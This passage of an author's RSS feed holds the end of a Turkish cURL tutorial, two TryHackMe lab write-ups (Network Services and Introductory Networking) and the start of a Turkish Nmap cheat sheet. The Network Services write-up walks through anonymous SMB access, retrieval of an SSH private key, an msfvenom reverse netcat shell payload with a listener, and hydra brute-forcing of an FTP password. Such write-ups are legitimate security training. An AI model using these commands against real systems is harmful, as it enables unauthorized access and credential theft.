kullanabiliriz.</p><blockquote>curl -v &lt;web sitesi adı&gt;</blockquote><blockquote>Örnek: curl -v benimsitem.com</blockquote><h4>3) Dosya indirme</h4><p>cURL ile dosya indirmenin iki parametresi var. Bunlar “-o” ve “-O” parametreleridir. “-o” parametresi ile dosyayı yeniden adlandırıp kaydebilirken “-O” parametresi ile dosyayı default isimle kaydetmiş oluruz.</p><blockquote>curl -O &lt;web sitesi adı&gt;</blockquote><p>Eğer dosyayı kendi istediğimiz bir isimle kaydetmek istersek şu şekilde kullanabiliriz.</p><blockquote>curl -o &lt;dosya ismi&gt; &lt;web sitesi adı&gt;</blockquote><blockquote>Örnek: curl -O benimsitem.com</blockquote><blockquote>Örnek: curl -o sitebilgisi.txt benimsitem.com</blockquote><h4>4) Sitenin HTTP Header bilgisini almak</h4><p>Web sitesinin header yani başlık bilgisini almak bazen önemli bilgiler elde etmemizi sağlar. Bunu yapmak için aşağıdaki komutu komutu kullanmamız yeterlidir.</p><blockquote>curl -I &lt;web sitesi adı&gt;</blockquote><blockquote>Örnek: curl -I benimsitem.com</blockquote><h4>5) Authentication işlemi yapmak</h4><p>cURL ile site içindeki kimlik doğrulama işlemleri için kullanıcı adı ve şifre değeri sağlayabiliriz. Bunu yapmanın yolu şu şekildedir.</p><blockquote>curl --user [kullanıcı adı]:[şifre] &lt;web sitesi adı&gt;</blockquote><p>Hemen bir örnekte görelim.</p><blockquote>Örnek: curl --user name:password benimsitem.com</blockquote><h4>6) HTTP POST isteği göndermek</h4><p>Siteye post isteği atmak şu şekilde gerçekleşebilir.</p><blockquote>curl -data “&lt;gönderilecek veri&gt;” &lt;web sitesi adı&gt;</blockquote><p>Burayı anlamak biraz sıkıntı olabilir. URL içinde taşınan değerler olabilir. Siz bu veriyi deneyerek bir yerlere girmeye çalışabilirsiniz. Mesela URL içinde taşınabilecek değerler “name”, “date”, “valid” gibi kavramlar olabilir. Bir örnek içinde görelim.</p><blockquote>Örnek: curl -data “name=Mehmet” benimsitem.com</blockquote><blockquote>Örnek: curl -date “text= ADMIN” seninsiten.com</blockquote><p>İlk örnekte “name” değerini “Mehmet” olarak atadık. Demekki URL içinde “name” isminde bir değişken ile veriler taşınabiliyormuş.</p><p>İkinci örnekte aynı mantıkta. “text” değişkeni içinde taşınan değerler varmış.</p><h4>7) Cookie İşlemleri</h4><p>Eğer cookie’leri kaydetmek isterseniz aşağıdaki yöntemi kullanabilirsiniz.</p><blockquote>curl --cookie-jar &lt;dosya ismi&gt;&lt;web sitesi adı&gt;</blockquote><p>veya</p><blockquote>curl -c &lt;dosya ismi&gt;&lt;web sitesi adı&gt;</blockquote><p>kullanılabilir. Yukarıdaki iki örnek cookie bilgilerini bir yere kaydetmek için kullanılır. Ayrıca bu kaydettiğiniz cookie bilgilerini de daha sonra kullanmak için şu yöntemi kullanabilirsiniz. Cookie’leri okumak için yani siteye tekrar yollamak için;</p><blockquote>curl -b &lt;dosya ismi&gt; &lt;web sitesi&gt;</blockquote><p>Hemen örnekler üzerinden gösterelim. Cookie bilgisini kaydetmek için;</p><blockquote>curl -c cookiebilgisi.txt benimsitem.com</blockquote><p>Kaydettiğim cookie bilgisini tekrar kullanmak için;</p><blockquote>curl -b cookiebilgisi.txt benimsitem.com</blockquote><h4>8) Post isteği yollamak</h4><p>Bunu yapmanın yolu şudur.</p><blockquote>curl -X POST &lt;web sitesi adı&gt;</blockquote><p>Hemen birkaç örnek gösterelim.</p><blockquote>curl -X POST benimsitem.com</blockquote><p>Buraya kadar elimden geldiğince “curl” komutu hakkında bilgi vermeye çalıştım. Tabiki de “curl” komutu bu kadar diyemeyiz. Ben sadece en çok kullanılan yerlerden sizlere bahsetmeye çalıştım. Daha fazla bilgi almak isterseniz Linux terminal satırına “man curl” yazmanız yeterlidir. Ayrıca <a href="https://ec.haxx.se/"><strong><em>buradan </em></strong></a>da daha fazla bilgi ve örneğe ulaşabilirsiniz. Okuyan herkese tekrardan teşekkür ederim. Bir sonraki yazımda görüşmek üzere..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=512080d98481" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Services Write-Up]]></title>
            <link>https://fatihturgutegitim.medium.com/network-services-write-up-4a91ef93fdbb?source=rss-fa97fb57e95a------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a91ef93fdbb</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[network-services-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[fthcyber]]></category>
            <dc:creator><![CDATA[Fatih Turgut]]></dc:creator>
            <pubDate>Sun, 30 Aug 2020 14:43:33 GMT</pubDate>
            <atom:updated>2020-08-30T14:43:33.980Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7n9n_AFMxJdVn2ek.png" /></figure><p>In this article, I tried to prepare a write-up for the <a href="https://tryhackme.com/room/networkservices"><strong>“Network Sevices”</strong></a><strong> </strong>room on <a href="https://tryhackme.com/room/introtonetworking"><strong>tryhackme</strong></a>. I tried to support it with images. Thank you to everyone who has already read.</p><h3>[Task 1] Get Connected</h3><p><strong>N.B.</strong> This is not<strong> </strong>a room on WiFi access hacking or hijacking, rather how to gain unauthorized access to a machine by exploiting network services. If you are interested in WiFi hacking, I suggest checking out WiFi Hacking 101 by NinjaJc01 (<a href="https://tryhackme.com/room/wifihacking101">https://tryhackme.com/room/wifihacking101</a>)</p><blockquote><strong>#1 </strong>Ready? Let’s get going!</blockquote><blockquote>ANSWER: No answer needed</blockquote><h3>[Task 2] Understanding SMB</h3><p>All the answers in this section are in the reading text. Before the answers, I will share the sentences with the answers in the reading text with you.</p><blockquote><strong>#1 </strong>What does SMB stand for?</blockquote><p>SMB — <strong><em>Server Message Block Protocol </em></strong>— is a client-server communication protocol used for sharing access to files, printers, serial ports and other resources on a network.</p><blockquote>ANSWER: Server Message Block</blockquote><blockquote><strong>#2 </strong>What type of protocol is SMB?</blockquote><p>The SMB protocol is known as a <strong><em>response-request </em></strong>protocol.</p><blockquote>ANSWER: response-request</blockquote><blockquote><strong>#3 </strong>What do clients connect to servers using?</blockquote><p>Clients connect to servers using <strong><em>TCP/IP </em></strong>(actually NetBIOS over TCP/IP as specified in RFC1001 and RFC1002), NetBEUI or IPX/SPX.</p><blockquote>ANSWER: TCP/IP</blockquote><blockquote><strong>#4 </strong>What systems does Samba run on?</blockquote><p>Samba, an open source server that supports the SMB protocol, was released for<strong><em> Unix systems</em></strong>.</p><blockquote>ANSWER: Unix</blockquote><h3>[Task 3] Enumerating SMB</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZzPudkQutTtX5j3R_p3g3A.png" /></figure><blockquote><strong>#1 </strong>Conduct an <strong>nmap</strong> scan of your choosing, How many ports are open?</blockquote><p>You can see the answer in the picture above.</p><blockquote>ANSWER: 3</blockquote><blockquote><strong>#2 </strong>What ports is <strong>SMB</strong> running on?</blockquote><p>You can see the answer in the picture above.</p><blockquote>ANSWER: 139/445</blockquote><blockquote><strong>#3 </strong>Let’s get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the <strong>workgroup </strong>name?</blockquote><p>You can see the answer in the picture above.</p><blockquote>ANSWER: WORKGROUP</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s2s1YaB8l9LFN_CBrl36xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2aV3Cc1hxca2e6BKCVXBoQ.png" /></figure><blockquote><strong>#4 </strong>What comes up as the <strong>name</strong> of the machine?</blockquote><p>You can see the answer in the first picture above.</p><blockquote>ANSWER: POLOSMB</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Jw5KHkWL0nchjSWtcp5HA.png" /></figure><blockquote><strong>#5 </strong>What operating system <strong>version</strong> is running?</blockquote><p>You can see the answer in the first picture above.</p><blockquote>ANSWER: 6.1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yvDL2inGUeJzgqt8BmHCaA.png" /></figure><blockquote><strong>#6 </strong>What share sticks out as something we might want to investigate?</blockquote><p>I tried all options in “Share Enumeration” section. “Share Enumeration” result can see in picture above.</p><blockquote>ANSWER: profiles</blockquote><h3>[Task 4] Exploiting SMB</h3><blockquote><strong>#1 </strong>What would be the correct syntax to access an SMB share called “secret” as user “suit” on a machine with the IP 10.10.10.2 on the default port?</blockquote><p><strong>“smbclient //[IP]/[SHARE]”</strong></p><p>Followed by the tags:</p><ul><li>U [name] : to specify the user</li><li>p [port] : to specify the port</li></ul><blockquote>ANSWER: smbclient //10.10.10.2/secret -U suit -p 445</blockquote><blockquote><strong>#2 </strong>Great! Now you’ve got a hang of the syntax, let’s have a go at trying to exploit this vulnerability. You have a list of users, the name of the share (smb) and a suspected vulnerability.</blockquote><blockquote>ANSWER: No answer needed</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZD-O5z-fJkl0mb0qjvKODw.png" /></figure><blockquote><strong>#3 </strong>Lets see if our interesting share has been configured to allow anonymous access, I.E it doesn’t require authentication to view the files. We can do this easily by:</blockquote><blockquote>- using the username “Anonymous”</blockquote><blockquote>- connecting to the share we found during the enumeration stage</blockquote><blockquote>- and not supplying a password.</blockquote><blockquote>Does the share allow anonymous access? Y/N?</blockquote><p>If you run “smbclient //&lt;Your target Machine IP&gt;/profiles -U anonymous -p 445” command in Linux terminal, you will be asked for a username and password. For “anonymous” user ;</p><blockquote>username: anonymous</blockquote><blockquote>password: anonymous</blockquote><p>Then use this username and password, we can get in the machine.</p><blockquote>ANSWER: Y</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KCYhhaTEEzeLE9yky716YQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*706i7ebHGNocNIgJx7Xjcg.png" /></figure><blockquote><strong>#4 </strong>Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?</blockquote><p>I downloaded the file in SMB to my computer. You can see the steps I did for this in the two pictures above. To download it to your own computer, simply run the command below on the SMB terminal.</p><blockquote><strong>get “Working From Home Information.txt” [output name]</strong></blockquote><blockquote>ANSWER: John Cactus</blockquote><blockquote><strong>#5 </strong>What service has been configured to allow him to work from home?</blockquote><p>The answer to this question is written in the text in the file we downloaded.</p><p><strong>“As such- your account has now been enabled with ssh access to main server.”</strong></p><blockquote>ANSWER: ssh</blockquote><blockquote><strong>#6 </strong>Okay! Now we know this, what directory on the share should we look in?</blockquote><p>If the user is given ssh configuration permission, then we should check the “.ssh” file on the SMB server to see if there is something.</p><blockquote>ANSWER: .ssh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyYFhFF_TTvQR32lB7lq4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iyoRpZ_mAMiMEDoPrtYwpQ.png" /></figure><blockquote><strong>#7 </strong>This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?</blockquote><p>As seen in the pictures above, we have obtained the user “cactus” in the “id_rsa.pub” file. The “id_rsa” file is more important to us, because the information in this file will be used in the ssh connection.</p><blockquote>ANSWER: id_rsa</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_VNYRsFLvValEn6_WPVTRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lwv9uUiNI5G8mRvt-GEkhA.png" /></figure><blockquote><strong>#8 </strong>Download this file to your local machine, and change the permissions to “600” using “chmod 600 [file]”.</blockquote><blockquote>Now, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server.</blockquote><blockquote>What is the smb.txt flag?</blockquote><blockquote>ANSWER: You can capture the flag by yourself :)</blockquote><h3>[Task 5] Understanding Telnet</h3><blockquote><strong>#1 </strong>What is Telnet?</blockquote><p>Telnet is an application protocol.</p><blockquote>ANSWER: application protocol</blockquote><blockquote><strong>#2 </strong>What has slowly replaced Telnet?</blockquote><p>Telnet has been replaced by <strong><em>SSH</em></strong> in most implementations.</p><blockquote>ANSWER: ssh</blockquote><blockquote><strong>#3 </strong>How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?</blockquote><blockquote>ANSWER: telnet 10.10.10.3 23</blockquote><blockquote><strong>#4 </strong>The lack of what, means that all Telnet communication is in plaintext?</blockquote><blockquote>ANSWER: encryption</blockquote><h3>[Task 6] Enumerating Telnet</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JZWty9O1dxZvhIUJov3tiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCkL2iDsinC7LDqKj7Fkgw.png" /></figure><blockquote><strong>#1 </strong>How many <strong>ports</strong> are open on the target machine?</blockquote><blockquote>ANSWER: 1</blockquote><blockquote><strong>#2 </strong>What <strong>port</strong> is this?</blockquote><blockquote>ANSWER: 8012</blockquote><blockquote><strong>#3 </strong>This port is unassigned, but still lists the <strong>protocol</strong> it’s using, what protocol is this?</blockquote><p>You can see the answer in the second picture above.</p><blockquote>ANSWER: tcp</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uQE-RYvz7TxvCxazrZtI6w.png" /></figure><blockquote><strong>#4 </strong>Now re-run the <strong>nmap</strong> scan, without the <strong>-p-</strong> tag, how many ports show up as open?</blockquote><blockquote>ANSWER: 0</blockquote><blockquote><strong>#5 </strong>Here, we see that by assigning telnet to a <strong>non-standard port</strong>, it is not part of the common ports list, or top 1000 ports, that nmap scans. It’s important to try every angle when enumerating, as the information you gather here will inform your exploitation stage.</blockquote><blockquote>ANSWER: No answer needed</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pD9Vu0Vs6Lezsz3R8nbQPQ.png" /></figure><blockquote><strong>#6 </strong>Based on the title returned to us, what do we think this port could be <strong>used for</strong>?</blockquote><p>According to the Nmap scan, only 1 port appears to be open. All other ports are closed. In this case, we can call the “backdoor” port only for the open port.</p><p>You can also see the text “SKIDY’S BACKDOOR” clearly in the picture above.</p><blockquote>ANSWER: a backdoor</blockquote><blockquote><strong>#7 </strong>Who could it belong to? Gathering possible <strong>usernames</strong> is an important step in enumeration.</blockquote><p>You can see the name in picture above.</p><blockquote>ANSWER: Skidy</blockquote><blockquote><strong>#8 </strong>Always keep a note of information you find during your enumeration stage, so you can refer back to it when you move on to try exploits.</blockquote><blockquote>ANSWER: No answer needed.</blockquote><h3>[Task 7] Exploiting Telnet</h3><blockquote><strong>#1 </strong>Okay, let’s try and connect to this telnet port! If you get stuck, have a look at the syntax for connecting outlined above.</blockquote><blockquote>ANSWER: No answer needed</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0j43h2AM3iOnmV6w6cZ5w.png" /></figure><blockquote><strong>#2 </strong>Great! It’s an open telnet connection! What welcome message do we receive?</blockquote><p><strong>Telnet Connectin = telnet &lt;IP&gt; &lt;port number&gt;</strong></p><blockquote>ANSWER: SKIDY’S BACKDOOR.</blockquote><blockquote><strong>#3 </strong>Let’s try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DT9q9e2IzvalIos9-evy7w.png" /></figure><blockquote>ANSWER: N</blockquote><blockquote><strong>#4 </strong>Hmm… that’s strange. Let’s check to see if what we’re typing is being executed as a system command.</blockquote><blockquote>ANSWER: No answer needed</blockquote><blockquote><strong>#5 </strong>Start a tcpdump listener on your local machine using: <strong>“sudo tcpdump ip proto \\icmp -i tun0”</strong> This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PxbKK6jboqeBGeI_u0_s4Q.png" /></figure><blockquote>ANSWER: No answer needed</blockquote><blockquote><strong>#6 </strong>Now, use the command <strong>“ping [local tun0 ip] -c 1” </strong>through the telnet session to see if we’re able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bLJenJQL-USrnbHAxGGBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mjX-xkt_e-R5nJ0G3l1y3w.png" /></figure><blockquote>ANSWER: Y</blockquote><blockquote><strong>#7 </strong>Great! This means that we are able to execute system commands AND that we are able to reach our local machine. Now let’s have some fun!</blockquote><blockquote>ANSWER: No answer needed</blockquote><blockquote><strong>#8 </strong>We’re going to generate a reverse shell payload using msfvenom.This will generate and encode a netcat reverse shell for us. Here’s our syntax:</blockquote><blockquote><strong>“msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R”</strong></blockquote><blockquote>-p = payload</blockquote><blockquote>lhost = our local host IP address</blockquote><blockquote>lport = the port to listen on</blockquote><blockquote>R = export the payload in raw format</blockquote><blockquote>What word does the generated payload start with?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y7NFN1ahypqtmgZgmPQL1Q.png" /></figure><blockquote>ANSWER: mkfifo</blockquote><blockquote><strong>#9 </strong>Perfect. We’re nearly there. Now all we need to do is start a netcat listener on our local machine. We do this using:</blockquote><blockquote><strong>“nc -lvp [listening port]”</strong></blockquote><blockquote>What would the command look like for the listening port we selected in our payload?</blockquote><blockquote>ANSWER: nc -lvp 4444</blockquote><blockquote><strong>#10 </strong>Great! Now that’s running, we need to copy and paste our msfvenom payload into the telnet session and run it as a command. Hopefully- this will give us a shell on the target machine!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3mVZkojcndNDeb_nfyjLAg.png" /></figure><blockquote>ANSWER: No answer needed</blockquote><blockquote><strong>#11 </strong>Success! What is the contents of flag.txt?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2rYqLR_5Q2KMhhy5DTpNgQ.png" /></figure><blockquote>ANSWER: You can capture the flag by yourself :)</blockquote><h3>[Task 8] Understanding FTP</h3><blockquote><strong>#1 </strong>What communications model does FTP use?</blockquote><p>FTP operates using a client-server protocol.</p><blockquote>ANSWER: client-server</blockquote><blockquote><strong>#2 </strong>What’s the standard FTP port?</blockquote><blockquote>ANSWER: 21</blockquote><blockquote><strong>#3 </strong>How many modes of FTP connection are there?</blockquote><p>The FTP server may support either Active or Passive connections, or both.</p><blockquote>ANSWER: 2</blockquote><h3>[Task 9] Enumerating FTP</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fyc-arCTHf3qtnqSOyJ-Cw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y6LCIk5Z71v4siiHqpk_JA.png" /></figure><blockquote><strong>#1 </strong>Run an <strong>nmap</strong> scan of your choice. How many <strong>ports</strong> are open on the target machine?</blockquote><blockquote>ANSWER: 2</blockquote><blockquote><strong>#2 </strong>What <strong>port</strong> is ftp running on?</blockquote><blockquote>ANSWER: 21</blockquote><blockquote><strong>#3 </strong>What <strong>variant </strong>of FTP is running on it?</blockquote><blockquote>ANSWER: vsftpd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-WLyU0QkXCQgNUPVgaQfBg.png" /></figure><blockquote><strong>#4 </strong>Great, now we know what type of FTP server we’re dealing with we can check to see if we are able to login anonymously to the FTP server. We can do this using by typing “<em>ftp [IP]</em>” into the console, and entering “anonymous”, and no password when prompted.</blockquote><blockquote>What is the name of the file in the anonymous FTP directory?</blockquote><blockquote>ftp &lt;IP&gt; &lt;port number&gt;</blockquote><p>You will be asked for a username and password. For “anonymous” user ;</p><blockquote>username: anonymous</blockquote><blockquote>password: anonymous</blockquote><blockquote>ANSWER: PUBLIC_NOTICE.txt</blockquote><blockquote><strong>#5</strong>What do we think a possible username could be?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WGNgz2BeO9DOCe722vWA1w.png" /></figure><blockquote>ANSWER: mike</blockquote><blockquote><strong>#6 </strong>Great! Now we’ve got details about the FTP server and, crucially, a possible username. Let’s see what we can do with that…</blockquote><blockquote>ANSWER: No answer needed</blockquote><h3>[Task 10] Exploiting FTP</h3><blockquote><strong>#1 </strong>What is the password for the user “mike”?</blockquote><p>We should run this command:</p><blockquote>hydra -t 4 -l mike -P /usr/share/wordlists/rockyou.txt -vV &lt;Machine IP&gt; ftp</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPX0Z7EqZPx0K3tNmU0N6g.png" /></figure><blockquote>ANSWER: password</blockquote><blockquote><strong>#2 </strong>Bingo! Now, let’s connect to the FTP server as this user using <strong>“ftp [IP]” </strong>and entering the credentials when prompted</blockquote><blockquote>ANSWER: No answer needed</blockquote><blockquote><strong>#3 </strong>What is ftp.txt?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*55MmaBYSsX0YhJm_DOhqBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LSk_M5WuXccGUDwe4tpgYw.png" /></figure><blockquote>ANSWER: You can capture the flag by yourself :)</blockquote><h3>[Task 11] Expanding Your Knowledge</h3><blockquote><strong>#1 </strong>Well done, you did it!</blockquote><p>ANSWER: No answer needed</p><p>I hope I can explain the subject as a whole. I hope it is useful for you. For your questions, comments and feedback, you can send an e-mail to <a href="/service/mailto:fatihturgutegitim@gmail.com">fatihturgutegitim@gmail.com</a>.</p><p>You can also reach me via linkedin. I thank everyone who reads and wish you healthy days. See you in my next write-up…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a91ef93fdbb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introductory Networking Write-Up]]></title>
            <link>https://fatihturgutegitim.medium.com/introductory-networking-write-up-afad6b7edce3?source=rss-fa97fb57e95a------2</link>
            <guid isPermaLink="false">https://medium.com/p/afad6b7edce3</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[introductory-networking]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[fthcyber]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Fatih Turgut]]></dc:creator>
            <pubDate>Wed, 26 Aug 2020 09:32:47 GMT</pubDate>
            <atom:updated>2020-09-29T08:57:11.973Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nvHd78cMJ8qrISoYdb4TUg.png" /></figure><p>In this article, I tried to prepare a write-up for the <a href="https://tryhackme.com/room/introtonetworking"><strong>“Introductory Networking”</strong></a><strong> </strong>room on <a href="https://tryhackme.com/room/introtonetworking"><strong>tryhackme</strong></a>. I tried to support it with images. Thank you to everyone who has already read.</p><h3>[Task 1] Introduction:</h3><p>The topics that we’re going to cover in this room are:</p><ul><li>The OSI Model</li><li>The TCP/IP Model</li><li>How these models look in practice</li><li>An introduction to basic networking tools</li></ul><blockquote><strong>#1 Let’s get started!</strong></blockquote><blockquote>ANSWER: No answer needed</blockquote><h3>[Task 2] The OSI Model: An Overview:</h3><p>All the answers in this section are in the reading text. Before the answers, I will share the sentences with the answers in the reading text with you.</p><blockquote><strong><em>#1 Which layer would choose to send data over TCP or UDP?</em></strong></blockquote><p>Layer 4 — Transport: Its first purpose is to choose the protocol over which the data is to be transmitted. The two most common protocols in the transport layer are<strong> <em>TCP </em></strong>(<strong>T</strong>ransmission <strong>C</strong>ontrol <strong>P</strong>rotocol) and <strong><em>UDP </em></strong>(<strong>U</strong>ser <strong>D</strong>atagram<strong> P</strong>rotocol)</p><blockquote>ANSWER: 4</blockquote><blockquote><strong>#2 Which layer checks received packets to make sure that they haven’t been corrupted?</strong></blockquote><p>Layer 2 — Data Link: The data link layer also serves an important function when it receives data, as it checks the received information to <strong><em>make sure that it hasn’t been corrupted during transmission.</em></strong></p><blockquote>ANSWER: 2</blockquote><blockquote><strong>#3 In which layer would data be formatted in preparation for transmission?</strong></blockquote><p>Layer 2 — Data Link: Additionally, it’s also the job of the data link layer to present the data in a<strong> <em>format suitable for transmission.</em></strong></p><blockquote>ANSWER: 2</blockquote><blockquote><strong>#4 Which layer transmits and receives data?</strong></blockquote><p>Layer 1 — Physical: This is where the electrical pulses that make up data <strong><em>transfer over a network are sent and received</em></strong>.</p><blockquote>ANSWER: 1</blockquote><blockquote><strong>#5 Which layer encrypts, compresses, or otherwise transforms the initial data to give it a standardised format?</strong></blockquote><p>Layer 6 — Presentation: The presentation layer translates the data into a standardised format, as well as handling any <strong><em>encryption, compression or other transformations to the data.</em></strong></p><blockquote>ANSWER: 6</blockquote><blockquote><strong>#6 Which layer tracks communications between the host and receiving computers?</strong></blockquote><p>Layer 5 — Session: When the session layer has successfully logged a <strong><em>connection between the host and remote computer</em></strong> the data is passed down to Layer 4: the transport Layer.</p><blockquote>ANSWER: 5</blockquote><blockquote><strong>#7 Which layer accepts communication requests from applications?</strong></blockquote><p>Layer 7 — Application: It works almost exclusively with applications, providing an interface for them to use in order to transmit data. When data is given to the application layer, it is passed down into the presentation layer.</p><blockquote>ANSWER: 7</blockquote><blockquote><strong>#8 Which layer handles logical addressing?</strong></blockquote><p>Layer 3 — Network: It’s the network layer that takes the IP address for the page and figures out the best route to take. At this stage we’re working with <strong><em>what is referred to as Logical addressing</em></strong></p><blockquote>ANSWER: 3</blockquote><blockquote><strong>#9 </strong>When sending data over TCP, what would you call the “bite-sized” pieces of data?</blockquote><p>Layer 4 — Transport: With a protocol selected, the transport layer then divides the <strong><em>transmission up into bite-sized pieces (over TCP these are called segments</em></strong>, over UDP they’re called <em>datagrams</em>), which makes it easier to transmit the message successfully.</p><blockquote>ANSWER: 4</blockquote><blockquote><strong>#10 [Research]</strong> Which layer would the FTP protocol communicate with?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E7N9vXZtu1nml-UchzarxA.jpeg" /></figure><blockquote>ANSWER: 7</blockquote><blockquote><strong>#11 Which transport layer protocol would be best suited to transmit a live video?</strong></blockquote><p>UDP would be used in situations where speed is more important <strong>(e.g. video streaming)</strong></p><blockquote>ANSWER: UDP</blockquote><h3>Continuation of the solution</h3><p>You can find the rest of solution on<strong><em> </em></strong><a href="https://fthcyber.com/2020/08/29/introductory-networking-write-up/"><strong><em>my offical website.</em></strong></a></p><p>Also other tryhackme solutions are available <a href="https://fthcyber.com/tag/tryhackme/"><strong><em>on my official website.</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=afad6b7edce3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nmap Cheet Sheet [TR]]]></title>
            <link>https://fatihturgutegitim.medium.com/nmap-cheet-sheet-tr-b0708d679e60?source=rss-fa97fb57e95a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0708d679e60</guid>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[cheet-sheets]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[fthcyber]]></category>
            <dc:creator><![CDATA[Fatih Turgut]]></dc:creator>
            <pubDate>Tue, 25 Aug 2020 16:41:36 GMT</pubDate>
            <atom:updated>2020-09-25T08:51:37.327Z</atom:updated>
            <content:encoded><![CDATA[<h3>Nmap Cheat Sheet [TR]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k_E0Xzb7g3aW70mQnnpNww.jpeg" /></figure><p>Bu yazımda sizlere pentest aşamalarında veya CTF yarışmalarında “nmap” aracını kullanırken kolaylık sağlaması açısında bir cheat sheet yani kopya kağıdı hazırlamaya çalıştım. Bunun için de elimden geldiğince örnekler vermeye ve farklı noktaları göstermeye çalıştım.</p><p>Nmap aracı ağ taramaları için kullanılan bir zafiyet keşif aracıdır. Taradığınız sistem veya ağ hakkında sizlere faydalı olacak bilgiler sunar. Elde ettiğiniz bu bilgiler ile kendinize bir saldırı rotası çizebilirsiniz.</p><p>Nmap taraması ile elde edebileceğiniz bazı bilgiler şunlardır:</p><ol><li><strong>Sistemde açık bulunan port numaraları</strong></li><li><strong>Açık bulunan portlarda çalışan servisler</strong></li><li><strong>Çalışan servislerin versiyon numaraları</strong></li><li><strong>İşletim sistemi hakkında bilgiler</strong></li></ol><p>Tabiki de bu bilgileri elde etmek için “nmap” sorgusunu konfigüre etmeyi bilmeniz gerekmektedir. Bu yazımda da sizlere bu konfigürasyonları nasıl yapacağınıza yol göstermeye çalışacağım. Ben buradaki bilgileri nmap için yazılmış “help” menüsünden ulaştım. Siz de bu menüye ulaşmak istiyorsanız terminale şu komutu yazarak bütün parametrelere ulaşabilirsiniz.</p><blockquote>nmap --help</blockquote><h3>1) Basit Nmap taramaları</h3><p>Burada sizlere en temel nmap sorgularını göstermeye çalışacağım.</p><h4>a) Belirli Bir IP Adresini Taramak</h4><blockquote>nmap <strong>&lt;IP adresi&gt;</strong></blockquote><p>Hemen bir örnek ile gösterelim. “192.192.12.4” numaralı IP adresi için basit nmap sorgusu yazalım.</p><blockquote>nmap 192.192.12.4</blockquote><h4>b) Birden Fazla IP Adreslerini Tarama</h4><blockquote>nmap <strong>&lt;IP adresi&gt;</strong> <strong>&lt;IP adresi&gt;</strong></blockquote><p>Hemen bir örnek ile gösterelim. “5.6.7.8” ve “5.6.7.9” numaralı IP adreslerini taramak için nmap sorgusu 